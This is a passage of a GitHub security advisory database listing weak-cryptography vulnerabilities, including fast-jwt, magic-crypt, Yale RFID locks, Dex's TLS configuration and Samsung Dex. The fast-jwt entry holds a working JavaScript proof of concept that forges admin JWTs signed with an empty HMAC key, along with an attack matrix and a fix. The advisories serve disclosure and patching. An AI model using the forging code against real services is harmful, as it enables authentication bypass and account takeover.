- A token signed with the real secret continues to verify correctly. → ACCEPTED.
- A forged-empty-key token sent to a verifier whose resolver returns the real secret is rejected. → INVALID_SIGNATURE.
- The synchronous
key: ''(string) configuration is correctly rejected. → MISSING_KEY.
Impact
Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, and whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.
Concrete attacker capabilities:
- Mint arbitrary JWTs with attacker-chosen
sub,admin,roles,scopes,iss,aud, etc. - Full identity assumption — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
- Default-config exploitable — the caller does not need to misconfigure
algorithms. With the default empty array, fast-jwt itself assigns['HS256','HS384','HS512']when it sees an empty key. - Cache amplification — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.
The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.
Suggested fix
Reject zero-length HMAC secrets in prepareKeyOrSecret:
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
+
+ if (isSecret && (!key || key.length === 0)) {
+ throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+ }
+
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.
For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.3"
},
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44351"
],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-287",
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T22:26:37Z",
"nvd_published_at": "2026-05-13T20:16:22Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA critical authentication-bypass vulnerability in `fast-jwt`\u0027s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application\u0027s key resolver returns an empty string (`\u0027\u0027`), for example via the common `keys[decoded.header.kid] || \u0027\u0027` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` from it, and then verifies the token\u0027s signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key=\u0027\u0027, input=\u0027${header}.${payload}\u0027)`, which Node accepts without complaint \u2014 and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`.\n\n### Preconditions\n\nFor this issue to occur the following MUST ALL be true:\n\n1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) =\u003e ... })`)\n2. The response from the async callback MUST return an empty string `\u0027\u0027` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue\n3. The library configuration must allow HMAC signatures. This is the default for the library.\n4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.\n5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.\n\n\n### Details\n\n`src/verifier.js` `prepareKeyOrSecret` (lines 33-39):\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n if (typeof key === \u0027string\u0027) {\n key = Buffer.from(key, \u0027utf-8\u0027)\n }\n return isSecret ? createSecretKey(key) : createPublicKey(key) // \u2190 no length check\n}\n```\n\n`src/verifier.js` async key-resolver flow (lines 429-468):\n\n```js\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) =\u003e {\n ...\n if (typeof currentKey === \u0027string\u0027) {\n currentKey = Buffer.from(currentKey, \u0027utf-8\u0027) // \u0027\u0027 \u2192 Buffer.alloc(0)\n } else if (!(currentKey instanceof Buffer)) {\n return callback(... \u0027string or buffer\u0027...)\n }\n\n try {\n const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n // detectPublicKeyAlgorithms(\u0027\u0027) hits the `!publicKeyPemMatch \u0026\u0026 !X509`\n // branch \u2192 returns hsAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]\n\n if (validationContext.allowedAlgorithms.length) {\n checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n } else {\n validationContext.allowedAlgorithms = availableAlgorithms // default empty \u2192 HMAC family assigned\n }\n\n currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n // \u2192 createSecretKey(Buffer.alloc(0)) \u2014 Node accepts the empty secret silently\n verifyToken(currentKey, decoded, validationContext)\n }\n})\n```\n\n`src/crypto.js` `verifySignature` (lines 286-291):\n\n```js\nif (type === \u0027HS\u0027) {\n try {\n return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)\n } catch { return false }\n}\n```\n\n`crypto.createHmac(\u0027sha256\u0027, emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker\u0027s payload as authentic.\n\nThe bug exists *only* on the function-typed key resolver path. The synchronous `key: \u0027\u0027 | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key \u0026\u0026 keyType !== \u0027function\u0027)` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `\u0027\u0027` to flow through.\n\n### PoC\n\n```js\n// package.json: { \"type\": \"module\" }\n// npm i fast-jwt\nimport { createVerifier } from \u0027fast-jwt\u0027\nimport * as crypto from \u0027node:crypto\u0027\n\nfunction b64url(buf) {\n return Buffer.from(buf).toString(\u0027base64\u0027)\n .replace(/=+$/, \u0027\u0027).replace(/\\+/g, \u0027-\u0027).replace(/\\//g, \u0027_\u0027)\n}\n\n// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.\nconst header = b64url(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027, kid: \u0027unknown-kid\u0027 }))\nconst payload = b64url(JSON.stringify({\n sub: \u0027attacker\u0027, admin: true,\n iat: Math.floor(Date.now() / 1000),\n exp: Math.floor(Date.now() / 1000) + 60\n}))\nconst input = `${header}.${payload}`\nconst signature = b64url(crypto.createHmac(\u0027sha256\u0027, \u0027\u0027).update(input).digest())\nconst forgedToken = `${input}.${signature}`\n\n// Realistic JWKS-style verifier - looks up kid in a key map and falls back\n// to \u0027\u0027 when the kid is unknown (a widely-used JS idiom).\nconst verifier = createVerifier({\n key: async (decoded) =\u003e ({ \u0027real-kid\u0027: \u0027\u003creal key\u003e\u0027 }[decoded.header.kid] || \u0027\u0027)\n})\n\nconsole.log(await verifier(forgedToken))\n```\n\nOutput on `fast-jwt@6.2.3`:\n\n```\n{ sub: \u0027attacker\u0027, admin: true, iat: 1777372426, exp: 1777372486 }\n```\n\n\u2014 the attacker-chosen payload is returned as authentic.\n\nAttack matrix verified against `fast-jwt@6.2.3`:\n\n| Resolver shape | `algorithms` option | HS256 | HS384 | HS512 |\n|---|---|---|---|---|\n| `async () =\u003e \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `(d, cb) =\u003e cb(null, \u0027\u0027)` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async d =\u003e keys[d.header.kid] \\|\\| \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027RS256\u0027]` | \u2705 accept | INVALID_ALG | INVALID_ALG |\n| `async () =\u003e \u0027\u0027` | `[\u0027RS256\u0027]` | INVALID_KEY | INVALID_KEY | INVALID_KEY |\n\nThe bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key\u0027s detected `hsAlgorithms`.\n\nSense checks (also verified against `fast-jwt@6.2.3` to rule out my harness):\n\n- A token signed with the *real* secret continues to verify correctly. \u2192 ACCEPTED.\n- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. \u2192 INVALID_SIGNATURE.\n- The synchronous `key: \u0027\u0027` (string) configuration is correctly rejected. \u2192 MISSING_KEY.\n\n### Impact\n\nWho is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt\u0027s own README documents, *and* whose resolver can ever return `\u0027\u0027` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || \u0027\u0027` is widely used in JS code and AI-generated examples.\n\nConcrete attacker capabilities:\n\n1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc.\n2. **Full identity assumption** \u2014 any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.\n3. **Default-config exploitable** \u2014 the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` when it sees an empty key.\n4. **Cache amplification** \u2014 once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.\n\nThe trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.\n\n### Suggested fix\n\nReject zero-length HMAC secrets in `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n if (typeof key === \u0027string\u0027) {\n key = Buffer.from(key, \u0027utf-8\u0027)\n }\n+\n+ if (isSecret \u0026\u0026 (!key || key.length === 0)) {\n+ throw new TokenError(TokenError.codes.invalidKey, \u0027HMAC secret key must not be empty.\u0027)\n+ }\n+\n return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThis patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: \u0027\u0027` rejection path are unaffected.\n\nFor defence in depth, the maintainer may also want to enforce RFC 2104\u0027s recommended minimum HMAC key length (\u2265 output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.",
"id": "GHSA-gmvf-9v4p-v8jc",
"modified": "2026-05-14T20:42:20Z",
"published": "2026-05-06T22:26:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44351"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver"
}
GHSA-GMX7-GR5Q-85W5
Vulnerability from github – Published: 2024-12-30 16:53 – Updated: 2024-12-30 16:53This crate uses a number of cryptographic algorithms that are no longer considered secure and it uses them in ways that do not guarantee the integrity of the encrypted data.
MagicCrypt64 uses the insecure DES block cipher in CBC mode without authentication. This allows for practical brute force and padding oracle attacks and does not protect the integrity of the encrypted data. Key and IV are generated from user input using CRC64, which is not at all a key derivation function.
MagicCrypt64, MagicCrypt128, MagicCrypt192, and MagicCrypt256 are all vulnerable to padding-oracle attacks. None of them protect the integrity of the ciphertext. Furthermore, none use password-based key derivation functions, even though the key is intended to be generated from a password.
Each of the implementations are unsound in that they use uninitialized memory without MaybeUninit or equivalent structures.
For more information, visit the issue.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "magic-crypt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-30T16:53:24Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "This crate uses a number of cryptographic algorithms that are no longer considered secure and it uses them in ways that do not guarantee the integrity of the encrypted data.\n\n`MagicCrypt64` uses the insecure DES block cipher in CBC mode without authentication. This allows for practical brute force and padding oracle attacks and does not protect the integrity of the encrypted data. Key and IV are generated from user input using CRC64, which is not at all a key derivation function.\n\n`MagicCrypt64`, `MagicCrypt128`, `MagicCrypt192`, and `MagicCrypt256` are all vulnerable to padding-oracle attacks. None of them protect the integrity of the ciphertext. Furthermore, none use password-based key derivation functions, even though the key is intended to be generated from a password.\n\nEach of the implementations are unsound in that they use uninitialized memory without `MaybeUninit` or equivalent structures.\n\nFor more information, visit the [issue](https://github.com/magiclen/rust-magiccrypt/issues/17).\n",
"id": "GHSA-gmx7-gr5q-85w5",
"modified": "2024-12-30T16:53:24Z",
"published": "2024-12-30T16:53:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/magiclen/rust-magiccrypt/issues/17"
},
{
"type": "PACKAGE",
"url": "https://github.com/magiclen/rust-magiccrypt"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0430.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "magic-crypt uses insecure cryptographic algorithms"
}
GHSA-GR22-5899-MX5C
Vulnerability from github – Published: 2023-12-05 00:31 – Updated: 2023-12-08 18:30Weak encryption mechanisms in RFID Tags in Yale Keyless Lock v1.0 allows attackers to create a cloned tag via physical proximity to the original.
{
"affected": [],
"aliases": [
"CVE-2023-26943"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-05T00:15:08Z",
"severity": "MODERATE"
},
"details": "Weak encryption mechanisms in RFID Tags in Yale Keyless Lock v1.0 allows attackers to create a cloned tag via physical proximity to the original.",
"id": "GHSA-gr22-5899-mx5c",
"modified": "2023-12-08T18:30:41Z",
"published": "2023-12-05T00:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26943"
},
{
"type": "WEB",
"url": "https://arxiv.org/abs/2312.00021"
},
{
"type": "WEB",
"url": "https://www.researchgate.net/publication/375759408_Technical_Report_-_CVE-2022-46480_CVE-2023-26941_CVE-2023-26942_and_CVE-2023-26943#fullTextFileContent"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GR79-9V6V-GC9R
Vulnerability from github – Published: 2024-01-26 01:57 – Updated: 2025-05-27 15:45Summary
Dex 2.37.0 is serving HTTPS with insecure TLS 1.0 and TLS 1.1.
Details
While working on https://github.com/dexidp/dex/issues/2848 and implementing configurable TLS support, I noticed my changes did not have any effect in TLS config, so I started investigating.
https://github.com/dexidp/dex/blob/70d7a2c7c1bb2646b1a540e49616cbc39622fb83/cmd/dex/serve.go#L425 is seemingly setting TLS 1.2 as minimum version, but the whole tlsConfig is ignored after "TLS cert reloader" was introduced in https://github.com/dexidp/dex/pull/2964. Configured cipher suites are not respected either, as seen on the output.
PoC
Build Dex, generate certs with gencert.sh, modify config.dev.yaml to run on https, using generated certs.
issuer: http://127.0.0.1:5556/dex
storage:
type: sqlite3
config:
file: dex.db
web:
https: 127.0.0.1:5556
tlsCert: examples/k8s/ssl/cert.pem
tlsKey: examples/k8s/ssl/key.pem
<rest as default>
Run dex bin/dex serve config.dev.yaml.
Install sslyze, easy to use SSL connection analyzer:
pip3 install sslyze
sslyze 127.0.0.1:5556
In Dex 2.37.0, TLS 1.0 and TLS 1.1 are enabled in addition to expected TLS 1.2 and TLS 1.3.
* TLS 1.0 Cipher Suites:
Attempted to connect using 80 cipher suites.
The server accepted the following 6 cipher suites:
TLS_RSA_WITH_AES_256_CBC_SHA 256
TLS_RSA_WITH_AES_128_CBC_SHA 128
TLS_RSA_WITH_3DES_EDE_CBC_SHA 168
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.1 Cipher Suites:
Attempted to connect using 80 cipher suites.
The server accepted the following 6 cipher suites:
TLS_RSA_WITH_AES_256_CBC_SHA 256
TLS_RSA_WITH_AES_128_CBC_SHA 128
TLS_RSA_WITH_3DES_EDE_CBC_SHA 168
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.2 Cipher Suites:
Attempted to connect using 156 cipher suites.
The server accepted the following 11 cipher suites:
TLS_RSA_WITH_AES_256_GCM_SHA384 256
TLS_RSA_WITH_AES_256_CBC_SHA 256
TLS_RSA_WITH_AES_128_GCM_SHA256 128
TLS_RSA_WITH_AES_128_CBC_SHA 128
TLS_RSA_WITH_3DES_EDE_CBC_SHA 168
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.3 Cipher Suites:
Attempted to connect using 5 cipher suites.
The server accepted the following 3 cipher suites:
TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)
TLS_AES_128_GCM_SHA256 128 ECDH: X25519 (253 bits)
In Dex 2.36.0, TLS 1.0 and TLS 1.1 are disabled as expected.
* TLS 1.0 Cipher Suites:
Attempted to connect using 80 cipher suites; the server rejected all cipher suites.
* TLS 1.1 Cipher Suites:
Attempted to connect using 80 cipher suites; the server rejected all cipher suites.
* TLS 1.2 Cipher Suites:
Attempted to connect using 156 cipher suites.
The server accepted the following 5 cipher suites:
TLS_RSA_WITH_AES_256_GCM_SHA384 256
TLS_RSA_WITH_AES_128_GCM_SHA256 128
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.3 Cipher Suites:
Attempted to connect using 5 cipher suites.
The server accepted the following 3 cipher suites:
TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)
Impact
TLS 1.0 and TLS 1.1 connections can be decrypted by the attacker, and hence decrypt the traffic to Dex.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/dexidp/dex"
},
"ranges": [
{
"events": [
{
"introduced": "2.37.0"
},
{
"fixed": "2.38.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.37.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dexidp/dex"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240125115555-5bbdb4420254"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23656"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-26T01:57:31Z",
"nvd_published_at": "2024-01-25T20:15:41Z",
"severity": "HIGH"
},
"details": "### Summary\n\nDex 2.37.0 is serving HTTPS with insecure TLS 1.0 and TLS 1.1.\n\n\n### Details\nWhile working on https://github.com/dexidp/dex/issues/2848 and implementing configurable TLS support, I noticed my changes did not have any effect in TLS config, so I started investigating. \n\nhttps://github.com/dexidp/dex/blob/70d7a2c7c1bb2646b1a540e49616cbc39622fb83/cmd/dex/serve.go#L425 is seemingly setting TLS 1.2 as minimum version, but the whole tlsConfig is ignored after \"TLS cert reloader\" was introduced in https://github.com/dexidp/dex/pull/2964. Configured cipher suites are not respected either, as seen on the output.\n\n### PoC\nBuild Dex, generate certs with `gencert.sh`, modify `config.dev.yaml` to run on https, using generated certs.\n\n```console\nissuer: http://127.0.0.1:5556/dex\n\nstorage:\n type: sqlite3\n config:\n file: dex.db\n\nweb:\n https: 127.0.0.1:5556\n tlsCert: examples/k8s/ssl/cert.pem\n tlsKey: examples/k8s/ssl/key.pem\n\n\u003crest as default\u003e\n```\n\nRun dex `bin/dex serve config.dev.yaml`.\n\nInstall `sslyze`, easy to use SSL connection analyzer:\n\n```console\npip3 install sslyze\nsslyze 127.0.0.1:5556\n```\n\nIn Dex 2.37.0, TLS 1.0 and TLS 1.1 are enabled in addition to expected TLS 1.2 and TLS 1.3.\n```console\n * TLS 1.0 Cipher Suites:\n Attempted to connect using 80 cipher suites.\n\n The server accepted the following 6 cipher suites:\n TLS_RSA_WITH_AES_256_CBC_SHA 256 \n TLS_RSA_WITH_AES_128_CBC_SHA 128 \n TLS_RSA_WITH_3DES_EDE_CBC_SHA 168 \n TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.1 Cipher Suites:\n Attempted to connect using 80 cipher suites.\n\n The server accepted the following 6 cipher suites:\n TLS_RSA_WITH_AES_256_CBC_SHA 256 \n TLS_RSA_WITH_AES_128_CBC_SHA 128 \n TLS_RSA_WITH_3DES_EDE_CBC_SHA 168 \n TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.2 Cipher Suites:\n Attempted to connect using 156 cipher suites.\n\n The server accepted the following 11 cipher suites:\n TLS_RSA_WITH_AES_256_GCM_SHA384 256 \n TLS_RSA_WITH_AES_256_CBC_SHA 256 \n TLS_RSA_WITH_AES_128_GCM_SHA256 128 \n TLS_RSA_WITH_AES_128_CBC_SHA 128 \n TLS_RSA_WITH_3DES_EDE_CBC_SHA 168 \n TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.3 Cipher Suites:\n Attempted to connect using 5 cipher suites.\n\n The server accepted the following 3 cipher suites:\n TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)\n TLS_AES_128_GCM_SHA256 128 ECDH: X25519 (253 bits)\n```\n\nIn Dex 2.36.0, TLS 1.0 and TLS 1.1 are disabled as expected.\n```console\n * TLS 1.0 Cipher Suites:\n Attempted to connect using 80 cipher suites; the server rejected all cipher suites.\n\n * TLS 1.1 Cipher Suites:\n Attempted to connect using 80 cipher suites; the server rejected all cipher suites.\n\n * TLS 1.2 Cipher Suites:\n Attempted to connect using 156 cipher suites.\n\n The server accepted the following 5 cipher suites:\n TLS_RSA_WITH_AES_256_GCM_SHA384 256 \n TLS_RSA_WITH_AES_128_GCM_SHA256 128 \n TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)\n TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)\n\n The group of cipher suites supported by the server has the following properties:\n Forward Secrecy OK - Supported\n Legacy RC4 Algorithm OK - Not Supported\n\n\n * TLS 1.3 Cipher Suites:\n Attempted to connect using 5 cipher suites.\n\n The server accepted the following 3 cipher suites:\n TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)\n TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)\n```\n\n### Impact\nTLS 1.0 and TLS 1.1 connections can be decrypted by the attacker, and hence decrypt the traffic to Dex.",
"id": "GHSA-gr79-9v6v-gc9r",
"modified": "2025-05-27T15:45:13Z",
"published": "2024-01-26T01:57:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/security/advisories/GHSA-gr79-9v6v-gc9r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23656"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/issues/2848"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/pull/2964"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/commit/5bbdb4420254ba73b9c4df4775fe7bdacf233b17"
},
{
"type": "PACKAGE",
"url": "https://github.com/dexidp/dex"
},
{
"type": "WEB",
"url": "https://github.com/dexidp/dex/blob/70d7a2c7c1bb2646b1a540e49616cbc39622fb83/cmd/dex/serve.go#L425"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dex discarding TLSconfig and always serves deprecated TLS 1.0/1.1 and insecure ciphers"
}
GHSA-GRFP-8C8P-564V
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05Improper protection of backup path configuration in Samsung Dex prior to SMR MAY-2021 Release 1 allows local attackers to get sensitive information via changing the path.
{
"affected": [],
"aliases": [
"CVE-2021-25392"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-11T15:15:00Z",
"severity": "MODERATE"
},
"details": "Improper protection of backup path configuration in Samsung Dex prior to SMR MAY-2021 Release 1 allows local attackers to get sensitive information via changing the path.",
"id": "GHSA-grfp-8c8p-564v",
"modified": "2022-05-24T19:05:10Z",
"published": "2022-05-24T19:05:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25392"
},
{
"type": "WEB",
"url": "https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-1"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2021\u0026month=5"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GWQ6-FMVP-QP68
